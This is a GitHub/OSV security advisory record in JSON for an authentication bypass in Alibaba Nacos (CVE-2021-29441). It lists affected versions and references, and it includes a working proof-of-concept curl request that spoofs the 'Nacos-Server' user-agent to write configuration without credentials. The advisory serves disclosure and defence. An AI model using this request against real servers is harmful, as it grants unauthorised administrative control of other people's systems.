{"id":"GHSA-36hp-jr8h-556f","summary":"Authentication Bypass","details":"When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n❯ curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"}                                                                                                       \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n❯ curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.","aliases":["CVE-2021-29441","CVE-2021-29442","GHSA-xv5h-v7jh-p2qh"],"modified":"2026-05-07T05:02:24.946345016Z","published":"2021-04-27T20:09:17Z","database_specific":{"cwe_ids":["CWE-290"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2021-04-27T20:08:38Z","nvd_published_at":"2021-04-27T21:15:00Z"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29441"},{"type":"WEB","url":"https://github.com/alibaba/nacos/issues/4701"},{"type":"WEB","url":"https://github.com/alibaba/nacos/pull/4703"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-36hp-jr8h-556f"}],"affected":[{"package":{"name":"com.alibaba.nacos:nacos-common","ecosystem":"Maven","purl":"pkg:maven/com.alibaba.nacos/nacos-common"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.1"}]}],"versions":["0.1.0","0.2.0","0.2.1","0.2.1-RC1","0.3.0","0.3.0-RC1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","1.0.0","1.0.0-RC1","1.0.0-RC2","1.0.0-RC3","1.0.0-RC4","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.2.0","1.2.0-beta.0","1.2.0-beta.1","1.2.1","1.3.0","1.3.1","1.3.1-BETA","1.3.1-BETA.1","1.3.2","1.3.3","1.4.0","1.4.0-BETA"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-36hp-jr8h-556f/GHSA-36hp-jr8h-556f.json"}}],"schema_version":"1.9.0"}